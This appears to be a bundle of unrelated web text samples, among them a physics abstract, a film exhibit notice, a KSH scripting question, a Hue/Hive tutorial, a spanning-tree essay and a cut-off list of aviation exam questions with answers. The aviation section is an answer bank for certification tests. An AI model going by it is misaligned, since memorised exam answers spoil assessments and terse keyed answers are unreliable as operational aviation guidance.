A light source on the surface of a slab of 2+1-dimensional photonic crystal has been prepared by the Langmuir–Blodgett deposition of a colloidal crystal on top of a thin film containing CdTe nanocrystals. The directional enhancement of the light emission intensity in the spectral range of the photonic bandgap has been revealed through the comparative examination of the angle-resolved transmission, diffraction, and photoluminescence spectra of the prepared structures. Changes in the emission spectrum have been tentatively explained in terms of the acceleration of the radiative recombination due to the increase in the local field strength at photonic bandgap resonance and changes in the emission diagram—as arising from the wavelength dependence of the topology of the local field pattern.
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text:
Our Digital Filmmaking department received some love from The Cambridge Day recently, in their article "Ultimate safe movie ticket: 'Film as a Monument' exhibit screens in open air on the side of a church," by Tom Meek.
Film as Monument transforms the architecture of the Lunder Arts Center into an illuminated lantern, activating the transparent portals of the university building with artworks produced in community. Traditional monuments, including the physical structures of art museums and universities, are meant to stimulate and structure collective remembrance of events, individuals, or ideas in particular ways. Intended to withstand change, these touchstones for meaning- and memory-making are not always open or accessible to their publics. This temporary intervention, consisting of projected experimental film, digital flatscreens, and hand-painted celluloid artworks, activates the Lunder Arts Center to invite passersby to witness the creative vitality of our communities. The exhibition features artwork from the Film as Installation course, taught by Assistant Professor Ingrid Stobbe, as well as high school students from the West End House Boys and Girls Club, Cambridge Rindge and Latin School and more, who have participated in a series of workshops exploring the materiality and structure of film led by exhibiting artist and experimental filmmaker Gabby Sumney.
This exhibition is a striking collaboration at Lesley Art + Design between Digital Filmmaking, Exhibitions, and LA+D Community Engagement. Presented in partnership with Women in Film & Video New England and the Boston LGBTQIA+ Artist Alliance. Funding is provided through the Ralph Bradley Prize, awarded in Spring 2020.
Show TItle: Film as Monument
Dates: April 1st – April 30th 2021
Times: All Day (best seen at night)
Where: Lunder Arts Center
Address: 1801 Massachusetts Ave, Cambridge, MA 02140
Event and Artist Talk Date/Time: April 8th at 7pm
Zoom Link for Event: _URL_
Lesley University Artists:
Eli Di Giulian
High School Artists:
Cambridge Rindge and Latin School:
West End House Boys and Girls Club of Allston:
Somerville High School:
Smirline "Nyove" Jacques
Community Charter School of Cambridge:
Mia "Jaxxen" Santiago

source: m-a-p/FineFineWeb


text:
0 1 5 10 12buttons on top of page represent photo heights of:
40px 133px 500px 1000px and 1200px
* There are 3 modes of display (
Z) for a single photo:
1)normal, 2)background stretch, and 3)height or width stretch
Navigation - single photo* Click mouse in left/right part of the screen
* Use +/- 5 10 20 50 buttons to skip forward/backward
* Use right/left keyboard arrow keys
* Use keyboard keys eg
Round Tailed Ground Squirrels
Ground Squirrels burrow in loose soil.
Round Tailed Ground Squirrelsweigh 4-8oz, are 8-11 inches long including 2-4 inch tail, have a uniform sandy color, a long round tail and hairy hind feet.
Their gestation period (fertilization to birth) is 28 days, with an average of 5.4 pups per litter. Males are dominant during the breeding season of Jan-March and females dominate during raising of the young March-April.
|5. Babies 2015|
|6. Babies 2016|
|7. Babies 2017|
|8. Babies 2018|
|9. Babies 2019|

source: openbmb/Ultra-FineWeb


text:
Multimedia: Research seeks to benefit couples therapy by mining social class upbringing
Associate Professor Teresa McDowell, along with a team of graduate student researchers, recently lifted the lid on a sensitive topic few, if any, professionals in the field of counseling psychology—researchers or practitioners—have ever addressed: how differences in social class can affect the health of couple relationships.
McDowell has spent much of her career working to reshape marriage and family therapy education in ways that better support social equity and cultural democracy. Her scholarship has focused on race and racism in family therapy practice and education, critical multicultural family research, and internationalizing family therapy programs. This latest research paper, "Exploring Social Class: Voices of Inter-class Couples," explores how couples with different social class upbringings have built lasting relationship.
McDowell discussed the relevance of social class research, and the unique setting of the Lewis & Clark graduate school to explore this complex counseling psychology issue.
What interested you in researching the impact of social class on couple relationships?
McDowell: Social class is typically included in contextual factors affecting individuals, couples, and families, yet there is very little family therapy research or practice literature on social class. When social class is discussed, there tends to be an assumption that all members of the family share a single social class. Social class is also typically talked about relatively only to lower and working class families. In general, social class is also not openly discussed in the U.S. due to the myths of meritocracy and a classless society. We know that social class deeply shapes the lives of individuals, couples, families, and communities, and have therefore begun researching and talking about it in the literature we are producing.
The interest in social class differences within couple relationships stems from multiple conversations among the first two authors about cultural similarities and differences in marrying across lines in the dominant culture in the U.S. and the dominant culture in Peru. Both first authors also have personal experience that relates to this topic.
Why is this research important to the field of marriage and couple family therapy?
McDowell: We hope to open space for family therapists to begin addressing within-family social class differences and to shed light on the influence of the "invisible" dynamics around class.
Where might this research lead you next? What other questions does it spur?
McDowell: There are many areas related to social class that need to be explored, including:
- Classism and internalized classism among family therapists
- Dismantling classism/internalized classism via family therapy education
- The role family therapists can play in raising social awareness within families of the dynamics of social class in liberation-based therapies, and many others
The first author and another colleague recently published an article on mapping social capital which addresses how family therapists can assist low status families through raising awareness and decision making relative to social class. The first author is currently completing a study of the experience of working and lower class students in family therapy training.
Do you think there's anything unique about this research growing out of an educational institution like Lewis & Clark Graduate School of Education and Counseling?
McDowell: The social justice mission of the graduate school draws faculty and student researchers who are invested in social equity. The faculty-student collaboration around these issues is therefore a fairly natural fit. Numerous people drawn together with similar goals and interests increases synergy and provides support for critical researchers who often find themselves alone in their efforts.
What has been beneficial about having students involved in the research process?
McDowell: We include students in many of our research projects. We are committed to offering them opportunities to collaborate on research and professional writing. We believe it is mutually beneficial as students help move projects forward by completing many research tasks and the faculty mentors their work and guides the effort. Faculty also lead in writing the results for publication while student experience the process of submitting manuscripts, revising, etc. firsthand.
Five graduate students participated in McDowell's latest research: Erin Althusius, Sarah Hergic, AJ Rogers, Gillian Sleeman, Nicky Ton.
Ton '10 plans to pursue a doctorate in counseling psychology while Sleeman '10 plans to counsel clients after graduation. While Ton and Sleeman will take different paths with their degrees in counseling psychology, both have taken away significant lessons from the research project.
In this audio clip, Ton discusses how her participation in this research project inspired her to think about her own experience with social class difference.
In this audio clip, Sleeman addresses the challenges couples from different social classes face and how Lewis & Clark's efforts to improve cross-cultural understanding is preparing her for work in counseling.

source: HuggingFaceFW/fineweb-edu


Difference Between Similar Terms and Objects
Difference Between MP3 and AAC
mp3_logoMP3 vs AAC
MP3 is already a quite well known audio codec that is used mostly in mobile media players, which has now been dubbed as MP3 players, due to the significant reduction in file size it offers. AAC (Advanced Audio Coding) was a later addition to the MP4 standard and presents multiple and substantial improvements to the MP3 standard. Since both are lossy formats, it is therefore understood that they both sacrifice parts of the original audio data in order to come up with a much smaller file size. The key difference is in the quality of the recording after it is encoded with either AAC or MP3.
AAC has corrected a lot of the shortcomings of MP3 when encoding sound files and this has been duly noted both by technical people and casual listeners. The difference is so significant that it is not uncommon for people to equate the sound quality of an MP3 file coded with a specific bit rate with an AAC encoded file with a much lower bit rate. The difference in quality gets more pronounced as you go down to lower bit rates; 128kbps and lower.
The general advantage of the MP3 format is in its popularity. Because it was the first one to be introduced, it has become widely accepted by most software and hardware music players. AAC only gained popularity when Apple adapted it as the default format for its iPod music player and the music files sold in its music store. Before that, most portable music players, like those created by Creative, only supported MP3 files and not AAC. Now, most modern players being produced have added support for AAC and this gap is slowly beginning to close.
When choosing a file format for storing your music files, it is no longer under debate that AAC would be the clear winner. But before you encode your files to AAC, you should first examine if your existing devices are able to work with this format, as low quality is always better than not playable. When looking for a new player, its always better to find one with AAC support even when you have no intention of converting your files to AAC any time soon.
1. MP3 and AAC are both lossy file formats for audio recording
2. AAC is generally better than MP3, more so at lower bitrates
3. The MP3 format has more support, especially in portable devices, compared to AAC
Search DifferenceBetween.net :
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 1. I've done extensive personal testing of AAC, WMA, mp3 and mp3PRO. This is what I've found:
 1. mp3 requires more bits to equal the same quality as the newer codecs: AAC/WMA/mp3PRO.
 A. 4 MB "standard" mp3 (128 kbps, constant-bit-rate) equals..
 B. 3 MB 96 kbps, cbr AAC/WMA/mp3PRO
 In other words, the newer codecs are all roughly 30% better.
 2. Copy Protection.
 The overwhelming reason why mp3 is still popular is because of its LACK of copy protection.
 3. At super-low bit rates, i.e. 32 kbps cbr, AAC and mp3PRO seem to be the best.
 4. Most like original.
 For critical listening, i.e. "audio snobs" like me, I've found that mp3s at 160/192kbps sound the best.. period.. regardless of the AAC/WMA/mp3PRO setting used. It is "warmer" and more faithful to the original WAV file. The newer codecs tend to "lack air" and sound "more metallic". However, the average person can't tell the difference.
 5. Favorite.
 I like mp3PRO the best. It has the best of both worlds: mp3 compatibility AND newer algorithms/smaller file sizes of AAC/WMA.
 6. AAC Popularity.
 The reason AAC is gaining in popularity is solely because of iTunes. In fact, there is a firmware update to the Nintendo Wii that makes it play AACs and dumps mp3 playback.
 1. Difference Between iPod and MP3 | Difference Between | iPod vs MP3
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Rural Development Foundation
Mid-day meals for children
assured_image Education Telangana
Support the midday meal of an underprivileged child
Awards & Recognition
Jamsetji Tata National Virtual Academy (NVA) Fellow, Maharashtrakanya Gaurav Puraskar, The Pride of India Award 2015
Last audited December 2018
The Rural Development Foundation (RDF), is an Indian nonprofit organization with the mission of providing quality education for underprivileged rural children. They founded and continues to operate four schools and one junior college in Telangana State, taking a unique holistic approach to education through innovative programs and methodology. Rather than using the conventional method of rote memorization, they focus on cultivating critical thinking skills and encouraging students to understand and apply concepts. They do this through special programs such as Social Awareness, Youth Empowerment, Student Leadership, and Sports. They strive to develop students who will become empowered leaders of their communities, thus working towards the vision of a transformed and prosperous rural India. Their schools strive to create India's future leaders, people who not only respect their rich, cultural heritage but are also ready to lead their country into the future. Their constant endeavor includes their sincere attempts to inculcate into young minds a civic sense and social responsibility. Beginning with a humble enrollment of 80 students, the number of children attending RDF schools has increased to 1900, as more villagers enroll their sons and daughter in the schools.
Leadership Vandita Rao
Regular access to healthy and nutritious food
Rural Development Foundation provides underprivileged children with a healthy meal every school day. This provides nutritious food to poor children and helps them concentrate on studies. It has also been noticed that when a midday meal is provided at school the number of children that discontinue education drops considerably. One unit of Donation to this program covers the cost of a midday meal for a child for a month. The RDF's Midday Meal program runs on all working days in the school year, which is close to 220 days. The meal is served to all the student and staff member in all the RDF schools. The midday meal program caters to close to 1023 students across 3 schools in Matendla, Redlawada and Rolakkal in Telangana A mess-in-charge maintains the purchase and utilization register which is reviewed every week by the accountant. Every month the actual expense as against budgeted cost is reported along with the budget for next month to the Head office. Groceries such as rice, dal, oil, spices etc are purchased monthly and perishables such as vegetables are purchased weekly. The food is cooked in a designated kitchen using firewood stoves within the school. The kitchen staff is hired from within the community. This serves as a source of employment for the community. The team is trained in cooking and basic hygiene. The raw material such as grains, vegetables, and spices are sourced locally. Some seasonal produce is also grown in the kitchen garden maintained by each school. The meals consist of rice, a dal or sambhar and a vegetable curry which addresses the basic nutrition requirements of the students. A student committee maintains a calendar which allocates the senior school students as serving staff based on their class timetable. All schools follow a code system using hand signs to request for additional servings of rice, dal, vegetables etc, so that the meal is eaten in silence with minimal interruption to service. Plates are rinsed and washed by students and teachers themselves and then placed in the stock room. Many children who attend the RDF schools come from families with very meager incomes. Due to the absence of any vegetables, fruit or proteins, the nutritional content of their food is very poor. This severely impedes the physical and mental growth of the children. By providing at least one tasty and nutritious meal to these kids, two issues are addressed; the health of the children and incentivizing the parent to send their child to school. When you donate to this program, you help in providing poor school going children with one good meal a day.
Charity verified by GiveIndia
Tax exemption for guests who contribute
Proven track record
Charity registry ensures no gift goes to waste
Makes a positive impact
Foreign guests can donate


NJMR NJMR - 1 year ago 171
Bash Question
How to assign a varaible containg spaces to another variable in KSH
I am writing a shell script to read the input file and process the contents of the file line by line.
I was planning to store each line to an array and process the array later as shown below.
#--------------------------------
# Global Variable
file_path="NULL"
set -A array_statements
#--------------------------------
readFileIntoArray()
{
while IFS= read -r line
do
echo "$line"
array_statements[${#array_statements[*]}+1]="$line"
done <"$file_path"
}
printTheArray()
{
for i in ${array_statements[@]}; do
echo $i
done
}
main()
{
file_path=$1
readFileIntoArray
printTheArray
}
main "[email protected]"
The line contains spaces between the words as
Hello World How Are You?
. When I execute the script, and print the content of the array_statements, the output is
Hello
World
How
Are
You?
How do I assign the variable value which contains spaces to another variable or pass the varaible which contains spaces to another function in
KSH
.
Thanks
Answer Source
The easiest route forward is probably to scrap your current code and refactor it.
array_statements=()
while read -r line; do
 array_statements+=("$line")
done <"$1"
printf "%s\n" "${array_statements[@]}"
With the code simplified this much, it probably doesn't make much sense to keep anything encapsulated in a separate function.
Notice in particular how missing the quotes around ${array_statements[@]} will break them up into one happy crazy string, losing any array element boundaries.
Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download


text:
A Putnam County teacher is crediting the Newspapers in Education program for improved test scores.
In fact, a marquee at Poca Middle School expresses thanks to Charleston Newspapers.
Louann Godbey, eighth-grade West Virginia History teacher at Poca Middle, credits the NIE program for playing a role in a six-point increase in WESTEST scores from 2011 to 2012.
"I truly believe that our weekly newspaper sessions played a big part in helping my students achieve higher test scores," she said.
Each Wednesday, her students are given about 45 minutes to read the newspaper. Half of the time is to be spent reading section-front news articles.
Then they may move on to sports, cartoons or anything they enjoy reading.
"If I give assignments, I find they are reading for answers instead of content," she said. "I want them to enjoy the experience of reading the paper."
Newspapers are an excellent source for teaching West Virginia history and current events, she said.
Students look forward to the arrival of the newspapers, and she shares them with the seventh-grade teacher.
She added that Poca Middle has an excellent staff, achieved adequate yearly progress, and was named an exemplary school.
Renee Daly, NIE coordinator for Charleston Newspapers, said she often gets positive feedback from teachers who take advantage of the program, and others climb on board after learning about it.
"I got two new schools today," said Daly, who added that 34 schools throughout West Virginia are now getting newspapers through the program that was established 17 years ago.


How-to: Analyze Twitter Data with Hue
How-to: Analyze Twitter Data with Hue
Hue 2.2 , the open source web-based interface that makes Apache Hadoop easier to use, lets you interact with Hadoop services from within your browser without having to go to a command-line interface. It features different applications like an Apache Hive editor and Apache Oozie dashboard and workflow builder.
This post is based on our "Analyzing Twitter Data with Hadoop" sample app and details how the same results can be achieved through Hue in a simpler way. Moreover, all the code and examples of the previous series have been updated to the recent CDH4.2 release.
Collecting Data
The first step is to create the "flume" user and his home on the HDFS where the data will be stored. This can be done via the User Admin application.
The second step consists of collecting some tweet data from the live Twitter stream.
Apache Flume is an elegant solution for taking care of this. The configuration of Flume is detailed in the readme and previous blog post. However, if you want to skip this step, some data is available on GitHub. Just upload it as a zip file in the home directory of the flume user and the "tweets" directory will show up after a few seconds.
If you are not taking this shortcut, create the tweets directory in the File Browser with the New Folder action.
Then, when the Flume agent is started, the data will start appearing:
Clicking on a file will display its content in the built-in viewer:
Preparing Hive
It is time to prepare the analysis of the tweet data. We'll use Apache Hive, which can query the data with SQL-like syntax in a scalable way. The detailed description of the Hive setup is detailed in the readme.
When Hive is ready, the tweet table can be created in the query editor of Beeswax. Notice that the Hive SerDe (to download or compile here) must be included as a jar in the query. You can read more about Hive SerDe in this previous post.
To do this, just click on "Add" > "File Resources", click on the path chooser button, click on the "Home" button, and upload hive-serdes-1.0-SNAPSHOT.jar.
Then just enter the CREATE TABLE statement and execute it:
CREATE EXTERNAL TABLE tweets (
 id BIGINT,
 created_at STRING,
 source STRING,
 favorited BOOLEAN,
 retweet_count INT,
 retweeted_status STRUCT<
 text:STRING,
 user:STRUCT<screen_name:STRING,name:STRING>>,
 entities STRUCT<
 urls:ARRAY<STRUCT<expanded_url:STRING>>,
 user_mentions:ARRAY<STRUCT<screen_name:STRING,name:STRING>>,
 hashtags:ARRAY<STRUCT<text:STRING>>>,
 text STRING,
 user STRUCT<
 screen_name:STRING,
 name:STRING,
 friends_count:INT,
 followers_count:INT,
 statuses_count:INT,
 verified:BOOLEAN,
 utc_offset:INT,
 time_zone:STRING>,
 in_reply_to_screen_name STRING
)
PARTITIONED BY (datehour INT)
ROW FORMAT SERDE 'com.cloudera.hive.serde.JSONSerDe'
LOCATION '/user/flume/tweets'
Now that the table is created, let's insert some data in the table. First, select the table in the "Table" tab and click "Import data". Enter the path "/user/flume/tweets/2013/02/25/17″ and "201302251″ as the key:
Depending on the partition picked, a query similar to this will be generated:
LOAD DATA INPATH '/user/flume/tweets/2013/02/25/16'
INTO TABLE 'default.tweets'
PARTITION (datehour='_PHONE_')
After the query executes, the table 'tweets' will be available.
Beeswax can access the Hive metastore and its list of tables. A description of their schema and partitions with some example of data contained in each table are helpful while designing your queries. Moreover, a wizard can guide you step-by-step to create new tables.
Analysis with Beeswax
It becomes now possible to perform some SELECT queries on the data. Here is an example below but most of interesting ones are described in Parts 1 and 3 of the "Analyzing Twitter with Hadoop" series.
SELECT
 t.retweeted_screen_name,
 sum(retweets) AS total_retweets,
 count(*) AS tweet_count
 FROM (SELECT
 retweeted_status.user.screen_name as retweeted_screen_name,
 retweeted_status.text,
 max(retweet_count) as retweets
 FROM tweets
 GROUP BY retweeted_status.user.screen_name,
 retweeted_status.text) t
 GROUP BY t.retweeted_screen_name
 ORDER BY total_retweets DESC
 LIMIT 10;
Beeswax possesses multiple features for providing a better user experience than the command line shell. For example you can save queries and share them with other users. The result of a query can be exported into a new table or an HDFS file or downloaded to your desktop. Some other good examples are:
 - Ajax refresh of the logs
 - Quick column navigation on the result page
 - MapReduce jobs listing with a direct access to their logs
 - 'Email me on completion' setting
 - Multi-database support
Example of the screen while running query:
Seeing the result of the query:
Note: if your queries are failing and you are seeing an error like below, it means that you forgot to add the '/user/flume/hive-serdes-1.0-SNAPSHOT.jar' to the query:
FAILED: Execution Error, return code 2 from org.apache.hadoop.hive.ql.exec.MapRedTask
Conclusion
In this post we focused on how the Beeswax application can make it easy to execute Hive queries. New features such as multi-query (HUE-159), autocomplete, and syntax highlighting (HUE-1063) are going to improve the usability even more.
The next article in this series will elaborate on this topic and describe how Hue's Apache Oozie application can be used for scheduling Hive queries in a few clicks.
Thank you for reading and feel free to post comments here or on the hue-user list. We also hope to see you at the firstHue meetup (this Wednesday, March 27)!


text:
What is Cauliflower Ear?
What is Cauliflower Ear:
Cauliflower Ear is an ear complication when the external portion of the ear suffers an injury, blood clot, or injury. There is a collection of fluid under the perichondrium. This causes the ear to become thick and deformed. If left untreated, it can turn into a hardened, almost tissue like lump in the outer ear.
From the initial injury, the cartilage of the ear, separates from the lower tissue. The Blood supply becomes interrupted. This can lead to changes to the skin and the risk of infection increase. Over time, the tissue becomes fibrous.
The classic picture is when there is the thickening of the tissues is caused by the fibrous tissue. The external ear resembles a cauliflower – and so it is named.
Hematoma is the accumulation of blood or a pocket of blood in a certain area. Initially after injury, a hematoma forms. It isn't until later, that the fibrous tissue develops.
Cauliflower ear can be prevented or limited by Headgear, or other protection of the ears.
If left untreated, it can become a painful injury and deformity can occur. In some cases a bacterial infection can develop and in severe cases, hearing loss can develop.
Cauliflower is Commonly seen in the following:
3.) Kick boxers or Martial Artists
4.) Rugby players
Symptoms that can be seen:
– Redness or Inflammation
– Ringing in ears
– Facial headache
– Bleeding from outer ear
– Hearing loss
Treatment of Cauliflower:
1.) Antibiotics – when necessary.
2.) Draining – when necessary
3.) Tension or Compression dressing – placed around ears by a medical provider to limit the separation of the cartilage


text: The finite-element method (FEM) was applied to analyze the vibration (inherent and the harmonic frequencies) of wine glasses (glass harp) as a musical instrument. FEM analysis for this problem was proven appropriate by confirming the coincidence between the experimental and analyzed inherent frequencies for several glass cups with different shapes. When using wine glasses as musical instruments, minute arrangement of the pitch is necessary. Even today, this is done by filling a certain quantity of water in the wine glasses. This method, however, is very troublesome because each time, just before a performance, a check has to be made to confirm that the correct water quantity had been filled in every vessel. Compounding the problem, the pitch sometimes changes during the performance because of water evaporation. In place of this water-filling method, minute pitch changes have been achieved by locally shaving a bottom part of each vessel. The pitch is found to decrease in proportion to the shaved glass quantity. The relationship between the shaved glass quantity and the changed pitch has been clarified experimentally and analytically through FEM analysis. With this procedure, the desired pitch can be obtained.


How to ingest a media file bundled with metadata (CSV, XML, API)
To enable more advanced content ingestion options, the provided CSV/XML samples can be extended to include multiple/custom metadata items, account specific settings, update action and advanced content ingestion options (for example, ingestion of multiple transcoding flavors, multiple thumbnails etc.) Each item element within the XML, and each line in the CSV, represent a single entry created in the publisher account. Each entry will be populated with the metadata listed in its item element and the content referenced from it. When submitted, the bulk upload XML/CSV is validated on the Kaltura server. The validation includes an inspection of the XML structure, and verification of elements' structure and order compliance with Kaltura's bulk upload XSD (XML schema). For more information see Bulk Upload and FTP Upload.
To ingest a media file bundled with Metadata
 1. Select the Upload tab.
 2. Click Download CSV/XML Samples.
 3. Enter the metadata in the relevant fields.
 4. For more information on the XML Custom data upload see the following:
_URL_
_URL_

In This Article


Infinite sets of points in the Euclidean plane, even discrete sets, do not always have Euclidean minimum spanning trees. For instance, consider the points with coordinates
\[\left(i, \pm\left(1+\frac1i\right)\right),\]
for positive integers \(i\). You can connect the positive-\(y\) points and the negative-\(y\) points into two chains with edges of length less than two, but then you have to pick one edge of length greater than two to span from one chain to the other. Whichever edge you choose, the next edge along would always be a better choice. So a tree that minimizes the multiset of its edge weights (as finite minimum spanning trees do) does not exist for this example. And as the same example shows, the sum of edge weights may be infinite, so how can we use minimization of this sum to define a tree?
Discrete infinite set of points with no Euclidean minimum spanning tree
Despite that, here's a construction that works for any compact set, even one with infinitely many components, and that generalizes easily to higher-dimensional Euclidean spaces. I think it deserves to be called the Euclidean minimum spanning tree. Given a compact set \(C\), consider every partition \(C=A\cup (C\setminus A)\) of \(C\) into two disjoint nonempty compact subsets. For each such partition, find a line segment \(s_A\) of minimum length with endpoints in \(A\) and \(C\setminus A\), breaking ties lexicographically by coordinates. By the assumed compactness of \(A\) and \(C\setminus A\), such a line segment exists. Let \(T_C\) be the union of \(C\) itself and of all line segments obtained in this way. For example, the union of a triangle, square, and circle shown below has three partitions into two nonempty compact subsets, separating one of these three shapes from the other two. Two of these partitions choose the diagonal pink segment as their shortest connection, and the third partition chooses the horizontal pink segment. So in this case, \(T_C\) consists of the three blue given shapes and two pink segments.
Minimum spanning tree of a circle, square, and triangle
When \(C\) is a finite point set, \(T_C\) is just a Euclidean minimum spanning tree. When \(C\) has finitely many connected components, like the example above, \(T_C\) is again a minimum spanning tree, for the component-component distances. In the general case, \(T_C\) still has many of the familiar properties of Euclidean minimum spanning trees:
 - It consists of the input and a collection of line segments connecting pairs of input points, by construction.
 - It is a connected set. Topologically, this means that it cannot be covered by two disjoint open sets that both have a nonempty intersection with it. (This is different from being path-connected, a stronger property.) Any nontrivial open disjoint cover of \(C\) would be spanned by a line segment from one set to the other, and no new disjoint covers can separate these line segments from their endpoints.
 - For any added segment \(s_A\), the intersection of two disks with that segment as radius (a "lune") has no point of \(C\) in its interior. Any interior point would form one end of a shorter connecting segment between \(A\) and \(C\setminus A\), with the other end at an endpoint of \(s_A\). No two added segments can cross without violating the empty lune property.
 The empty lune of an edge
 - For any added segment \(s_A\), the open rhombus with angles \(60^\circ\) and \(120^\circ\) having \(s_A\) as its long diagonal is disjoint from the rhombi formed in the same way from the other segments. Any two overlapping rhombi would allow the longer of the two segments they come from to be replaced by a shorter segment crossing the same compact partition, on a three-segment path connecting its endpoints via the other segment endpoints. Because these non-overlapping rhombi cover a region of bounded area, the squared segment lengths have a bounded sum, and only finitely many segments can be longer than any given length threshold.
 An infinite minimum spanning tree and its empty rhombi
 - The union of \(C\) with any subset of added segments is compact. If \(p\) is a limit point of a sequence \(\sigma_i\) of points in this union, it must either lie in the empty rhombus of a segment (in which case it can only be a point of the same segment), or it is a limit point of a sequence of points in \(C\), obtained by replacing each point in \(\sigma_i\) that is interior to a segment by the nearest segment endpoint. This replacement only increases the distance from the replaced point to \(p\) by a constant factor, which does not affect convergence. By compactness the replaced sequence converges to a point in \(C\).
 - For any \(i\), the set \(T_i\) of the largest \(i\) added segments (with the same tie-breaking order) are edges of a minimum spanning tree for a family of \(i-1\) sets. To construct these sets, find the components of the union of \(C\) with all shorter segments, and intersect each component with \(C\). None of these components can cross between \(A\) and \(C\setminus A\) for any edge \(s_A\in T_i\). Because adding \(T_i\) connects all these components, there can be at most \(i-1\) components. Each edge in \(T_i\) is shortest (with a consistent tie-breaking rule) across some partition of the components, one of the ways of determining the edges in a finite minimum spanning tree. In particular, \(T_C\) is minimally connected: removing any edge \(s_A\in S_i\) separates some of the components from each other.
 - \(T_C\) has the minimum sum of squared edge lengths of all collections of line segments between points of \(C\) that connect \(C\). To see this, consider any other connecting set \(X\) of line segments with a finite sum of squared edge lengths. Truncate the sorted sequence of edges of \(T_C\) to a finite initial sequence \(T_i\) such that the rest of the sequence has negligible sum of squares. Because \(T_i\) is a minimum spanning tree of its components, and \(X\) connects those same components (perhaps redundantly), the sequence of edge lengths in \(T_i\) is, step for step, less than or equal to the sorted sequence of lengths in \(X\).
There may exist other sets of line segments that connect \(C\) with the same sum of squared edge lengths but they all are minimally connected, with the same sequence of edge lengths, the same empty lune and empty rhombus properties, and the same property that their initial sequences form finite minimum spanning trees of their components.
(Discuss on Mastodon)


600 seats
must be equipped with at least: 8 HAND FIRE-EXTINGUISHERS CONVENIENTLY LOCATED IN THE
PASSENGER COMPARTMENT.
-An aeroplane whose maximum approved passenger seating configuration is 401 to 500 seats must
be equipped with at least: 6 HAND FIRE-EXTINGUISHERS CONVENIENTLY LOCATED IN THE
PASSENGER COMPARTMENT.
-An aeroplane whose maximum approved passenger seating configuration is 501 to 600 seats must
be equipped with at least: 7 HAND FIRE-EXTINGUISHERS CONVENIENTLY LOCATED IN THE
PASSENGER COMPARTMENT.
-An aeroplane whose maximum approved passenger seating configuration is 301 to 400 seats must
be equipped with at least: 5 HAND FIRE-EXTINGUISHERS CONVENIENTLY LOCATED IN THE
PASSENGER COMPARTMENT.
-An aeroplane whose maximum approved passenger seating configuration is 201 to 300 seats must
be equipped with at least: 4 HAND FIRE-EXTINGUISHERS CONVENIENTLY LOCATED IN THE
PASSENGER COMPARTMENT.
-An air cycle machine (air conditioning pack) : CAUSES A PRESSURE AND TEMPERAURE DROP IN
THE BLEED AIR.
-An aircraft flying in conditions of continuous heavy rain and high ambient temperatures may require
the precautionary use of: ENGINE IGNITERS.
-An aircraft magneto is switched off by: 1. grounding the primary circuit. 2. opening the primary
circuit. 3. opening the secondary circuit. 4. grounding the secondary circuit. The combination that
regroups all of the correct statements is: 1, 4.
-An aircraft whose maximum approved configuration for passenger seats is 200 seats must be
equipped with: 3 HAND FIRE EXTINGUISHERS IN THE COMPARTMENT.
-An aircraft with a pressurized cabin flies at FL 310 and, following a malfunction of the pressure
controller, the outflow valve runs to the open position. Given : CAB V/S : Cabin rate of climb
indication CAB ALT: Cabin pressure altitude DELTA P: Differential pressure This will result in a: CAB
V/S INCREASE CAB ALT INCREASE DELTA P DECREASE
-An aircraft with a pressurized cabin is settled at its cruise level. During the flight, a malfunction of the
pressure controller is detected by the crew and the cabin rate indicator reads -200ft/min. Given that:
DELTA P: Differential pressure Zc: Cabin altitude: DELTA P WILL RISE UP TO ITS MAXIMUM
VALUE, THUS CAUSING THE SAFETY RELIEF VALVES TO OPEN.
-An airplane whose maximum approved passenger seating configuration is 7 to 30 seats must be
equipped with at least: 1 HAND FIRE-EXTINGUISHER CONVENIENTLY LOCATED IN THE
PASSENGER COMPARTMENT.
-An artificial feel system: FUNCTIONS IN PARALLEL TO AN IRREVERSIBLE SERVO-CONTROL
UNIT.
-An artificial feel unit is necessary in the pitch channel when: THE ELEVATORS ARE ACTUATED BY
IRREVERSIBLE SERVO-CONTROL UNITS.
-An asymmetric loading (p-factor) on the propeller exists: IF THE AEROPLANE HAS A LARGE
ANGLE OF ATTACK.
-An axial compressor, when operating below its design speed, has: A TENDENCY TO STALL IN THE
FRONT STAGES.
-An EGT (Exhaust Gas Temperature) indicator for a piston engine is used to: ASSIST THE PILOT TO
SET THE CORRECT MIXTURE.
-An electrically heated windscreen is manufactured from: A GLASS AND POLYCARBONATE
LAMINATE.
-An engine fire in a large transport aeroplane is indicated by a(n): VISUAL WARNING AND AN
AURAL ALERT.
-An engine fire is indicated by a(n): WARNING AND AN AURAL ALERT.
-An engine pressure ratio (EPR) can be defined as the ratio of: JET PIPE TOTAL PRESSURE TO
COMPRESSOR INLET TOTAL PRESSURE.
-An engine pressure ratio (EPR) gauge reading normally shows the ratio of: JET PIPE PRESSURE TO
COMPRESSOR INLET PRESSURE.
-An excessively rich mixture can be detected by: BLACK SMOKE FROM EXHAUST.
-An impulse coupling is inhibited at higher than normal rotational starting speeds by: CENTRIFUGAL
FORCE
-An impulse coupling is installed on a magneto of a piston engine to: PROVIDE A STRONGER
SPARK ON TOP DEAD CENTRE FOR ENGINE STARTING.
-An impulse coupling is installed on a magneto of a piston engine to: PROVIDE A STRONGER
SPARK ON TOP DEAD CENTRE FOR ENGINE STARTING.
-An impulse magneto coupling: GIVES A RETARDED SPARK AT STARTING
-An inverter is a: unit used to convert dc into ac.
-An oxygen regulator has 3 controls : - a power lever : ON/OFF - an "O2" lever : NORMAL/100% - an
emergency lever : ON/OFF Among the following statements, the correct proposition is : THE POWER
LEVER ON ON, AND, THE "O2" LEVER ON NORMAL ALLOWS THE OXYGEN TO ENTER THE
REGULATOR AND ENABLES BREATHING OF A MIXTURE OF AIR/OXYGEN ACCORDING TO
ALTITUDE.
-An oxygen supply system must be kept absolutely free of oil or grease as: THESE SUBSTANCES
CATCH FIRE SPONTANEOUSLY IN THE PRESENCE OF OXYGEN.
-An under-inflated tyre will: EXPERIENCE INCREASED WEAR AT THE SHOULDERS.
-Apart from flight into known icing conditions, the intake system of a diesel engine: IS NEVER
HEATED BECAUSE A DIESEL ENGINE IS A INJECTION ENGINE.
-As altitude increases, the mixture ratio of a piston engine should be adjusted to : REDUCE THE FUEL
FLOW IN ORDER TO COMPENSATE FOR THE DECREASING AIR DENSITY.
-As the flight altitude increases, if no leaning is made with the mixture control: THE DENSITY OF AIR
ENTERING THE CARBURETTOR DECREASES AND THE AMOUNT OF FUEL REMAINS CONSTANT
-Associate the correct legend to each of the numbered diagrams : 1- CANTILEVER 2- FORK 3- HALF
FORK 4- DUAL WHEELS
-Assume an initial condition at a high cruise altitude with a constant speed propeller. What will
